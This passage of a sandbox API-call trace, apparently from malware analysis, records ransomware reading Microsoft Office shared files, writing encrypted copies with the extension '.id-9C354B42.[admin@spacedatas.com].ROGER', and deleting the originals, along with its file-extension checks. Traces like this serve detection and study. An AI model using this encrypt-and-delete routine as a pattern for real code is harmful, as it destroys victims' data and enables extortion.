lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.739] WriteFile (in: hFile=0x3a0, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0052.739] SetEndOfFile (hFile=0x3a0) returned 1 [0052.739] CloseHandle (hObject=0x3a0) returned 1 [0052.739] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.739] SetEndOfFile (hFile=0x3e8) returned 1 [0052.742] CloseHandle (hObject=0x3e8) returned 1 [0052.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0052.743] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 1 [0052.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.743] lstrlenW (lpString=".doc") returned 4 [0052.743] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0052.743] lstrlenW (lpString=".docx") returned 5 [0052.743] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0052.743] lstrlenW (lpString=".pdf") returned 4 [0052.743] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0052.743] lstrlenW (lpString=".xls") returned 4 [0052.743] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0052.743] lstrlenW (lpString=".xlsx") returned 5 [0052.743] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0052.743] lstrlenW (lpString=".ppt") returned 4 [0052.743] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0052.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.743] lstrlenW (lpString=".zip") returned 4 [0052.743] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0052.743] lstrlenW (lpString=".rar") returned 4 [0052.743] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0052.743] lstrlenW (lpString=".bz2") returned 4 [0052.743] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0052.743] lstrlenW (lpString=".7z") returned 3 [0052.743] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0052.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.743] lstrlenW (lpString=".dbf") returned 4 [0052.743] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0052.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.744] lstrlenW (lpString=".1cd") returned 4 [0052.744] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0052.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.744] lstrlenW (lpString=".jpg") returned 4 [0052.744] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0052.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.744] lstrlenW (lpString=".doc") returned 4 [0052.744] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0052.744] lstrlenW (lpString=".docx") returned 5 [0052.744] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0052.744] lstrlenW (lpString=".pdf") returned 4 [0052.744] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0052.744] lstrlenW (lpString=".xls") returned 4 [0052.744] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0052.744] lstrlenW (lpString=".xlsx") returned 5 [0052.744] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0052.744] lstrlenW (lpString=".ppt") returned 4 [0052.744] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0052.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.744] lstrlenW (lpString=".zip") returned 4 [0052.744] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0052.744] lstrlenW (lpString=".rar") returned 4 [0052.744] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0052.744] lstrlenW (lpString=".bz2") returned 4 [0052.744] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0052.744] lstrlenW (lpString=".7z") returned 3 [0052.744] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0052.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.744] lstrlenW (lpString=".dbf") returned 4 [0052.745] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0052.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.745] lstrlenW (lpString=".1cd") returned 4 [0052.745] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0052.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.745] lstrlenW (lpString=".jpg") returned 4 [0052.745] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0052.745] lstrcmpiW (lpString1=".HLP", lpString2=".ROGER") returned -1 [0052.745] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0052.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.745] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=176311) returned 1 [0052.745] CloseHandle (hObject=0x3e8) returned 1 [0052.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0052.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.746] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.746] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0052.746] GetLastError () returned 0x0 [0052.746] ReadFile (in: hFile=0x3e8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x2b0b7, lpOverlapped=0x0) returned 1 [0052.874] WriteFile (in: hFile=0x3a0, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x2b0c0, lpOverlapped=0x0) returned 1 [0052.877] ReadFile (in: hFile=0x3e8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.877] WriteFile (in: hFile=0x3a0, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.878] SetEndOfFile (hFile=0x3a0) returned 1 [0052.878] CloseHandle (hObject=0x3a0) returned 1 [0052.878] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.878] SetEndOfFile (hFile=0x3e8) returned 1 [0052.879] CloseHandle (hObject=0x3e8) returned 1 [0052.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0052.880] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 1 [0052.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.880] lstrlenW (lpString=".doc") returned 4 [0052.880] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0052.880] lstrlenW (lpString=".docx") returned 5 [0052.880] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0052.880] lstrlenW (lpString=".pdf") returned 4 [0052.880] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0052.880] lstrlenW (lpString=".xls") returned 4 [0052.880] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0052.880] lstrlenW (lpString=".xlsx") returned 5 [0052.880] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0052.880] lstrlenW (lpString=".ppt") returned 4 [0052.880] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0052.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.880] lstrlenW (lpString=".zip") returned 4 [0052.880] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0052.880] lstrlenW (lpString=".rar") returned 4 [0052.881] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0052.881] lstrlenW (lpString=".bz2") returned 4 [0052.881] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0052.881] lstrlenW (lpString=".7z") returned 3 [0052.881] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0052.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.881] lstrlenW (lpString=".dbf") returned 4 [0052.881] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0052.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.881] lstrlenW (lpString=".1cd") returned 4 [0052.881] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0052.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.881] lstrlenW (lpString=".jpg") returned 4 [0052.881] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0052.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.881] lstrlenW (lpString=".doc") returned 4 [0052.881] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0052.881] lstrlenW (lpString=".docx") returned 5 [0052.881] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0052.881] lstrlenW (lpString=".pdf") returned 4 [0052.881] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0052.881] lstrlenW (lpString=".xls") returned 4 [0052.881] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0052.881] lstrlenW (lpString=".xlsx") returned 5 [0052.881] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0052.881] lstrlenW (lpString=".ppt") returned 4 [0052.881] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0052.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.881] lstrlenW (lpString=".zip") returned 4 [0052.881] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0052.881] lstrlenW (lpString=".rar") returned 4 [0052.882] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0052.882] lstrlenW (lpString=".bz2") returned 4 [0052.882] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0052.882] lstrlenW (lpString=".7z") returned 3 [0052.882] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0052.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.882] lstrlenW (lpString=".dbf") returned 4 [0052.882] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0052.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.882] lstrlenW (lpString=".1cd") returned 4 [0052.882] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0052.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.882] lstrlenW (lpString=".jpg") returned 4 [0052.882] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0052.882] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0052.882] lstrlenW (lpString="msgfilt.dll") returned 11 [0052.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0054.385] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=38768) returned 1 [0054.385] CloseHandle (hObject=0x3f4) returned 1 [0054.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0054.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0054.392] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.397] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0054.406] GetLastError () returned 0x0 [0054.407] ReadFile (in: hFile=0x3f4, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x9770, lpOverlapped=0x0) returned 1 [0054.422] WriteFile (in: hFile=0x3f8, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x9780, lpOverlapped=0x0) returned 1 [0054.427] ReadFile (in: hFile=0x3f4, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.427] WriteFile (in: hFile=0x3f8, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.427] SetEndOfFile (hFile=0x3f8) returned 1 [0054.427] CloseHandle (hObject=0x3f8) returned 1 [0054.427] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.427] SetEndOfFile (hFile=0x3f4) returned 1 [0054.428] CloseHandle (hObject=0x3f4) returned 1 [0054.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.428] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 1 [0054.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0054.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0054.429] lstrlenW (lpString=".doc") returned 4 [0054.429] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.429] lstrlenW (lpString=".docx") returned 5 [0054.429] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0054.429] lstrlenW (lpString=".pdf") returned 4 [0054.429] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.429] lstrlenW (lpString=".xls") returned 4 [0054.429] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.429] lstrlenW (lpString=".xlsx") returned 5 [0054.429] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0054.429] lstrlenW (lpString=".ppt") returned 4 [0054.429] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0054.429] lstrlenW (lpString=".zip") returned 4 [0054.429] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.429] lstrlenW (lpString=".rar") returned 4 [0054.429] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.429] lstrlenW (lpString=".bz2") returned 4 [0054.429] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.429] lstrlenW (lpString=".7z") returned 3 [0054.429] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0054.429] lstrlenW (lpString=".dbf") returned 4 [0054.429] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0054.429] lstrlenW (lpString=".1cd") returned 4 [0054.429] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0054.429] lstrlenW (lpString=".jpg") returned 4 [0054.430] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0054.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0054.430] lstrlenW (lpString=".doc") returned 4 [0054.430] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.430] lstrlenW (lpString=".docx") returned 5 [0054.430] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0054.430] lstrlenW (lpString=".pdf") returned 4 [0054.430] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.430] lstrlenW (lpString=".xls") returned 4 [0054.430] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.430] lstrlenW (lpString=".xlsx") returned 5 [0054.430] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0054.430] lstrlenW (lpString=".ppt") returned 4 [0054.430] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0054.430] lstrlenW (lpString=".zip") returned 4 [0054.430] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.430] lstrlenW (lpString=".rar") returned 4 [0054.430] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.430] lstrlenW (lpString=".bz2") returned 4 [0054.430] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.430] lstrlenW (lpString=".7z") returned 3 [0054.430] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0054.430] lstrlenW (lpString=".dbf") returned 4 [0054.430] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0054.430] lstrlenW (lpString=".1cd") returned 4 [0054.430] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0054.430] lstrlenW (lpString=".jpg") returned 4 [0054.430] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.431] lstrcmpiW (lpString1=".FLT", lpString2=".ROGER") returned -1 [0054.431] lstrlenW (lpString="CGMIMP32.FLT") returned 12 [0054.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0054.432] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=323936) returned 1 [0054.432] CloseHandle (hObject=0x3f4) returned 1 [0054.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0054.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0054.432] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.432] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0054.432] GetLastError () returned 0x0 [0054.432] ReadFile (in: hFile=0x3f4, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x4f160, lpOverlapped=0x0) returned 1 [0054.440] WriteFile (in: hFile=0x3f8, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x4f170, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x4f170, lpOverlapped=0x0) returned 1 [0054.445] ReadFile (in: hFile=0x3f4, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.445] WriteFile (in: hFile=0x3f8, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.445] SetEndOfFile (hFile=0x3f8) returned 1 [0054.446] CloseHandle (hObject=0x3f8) returned 1 [0054.446] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.446] SetEndOfFile (hFile=0x3f4) returned 1 [0054.449] CloseHandle (hObject=0x3f4) returned 1 [0054.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 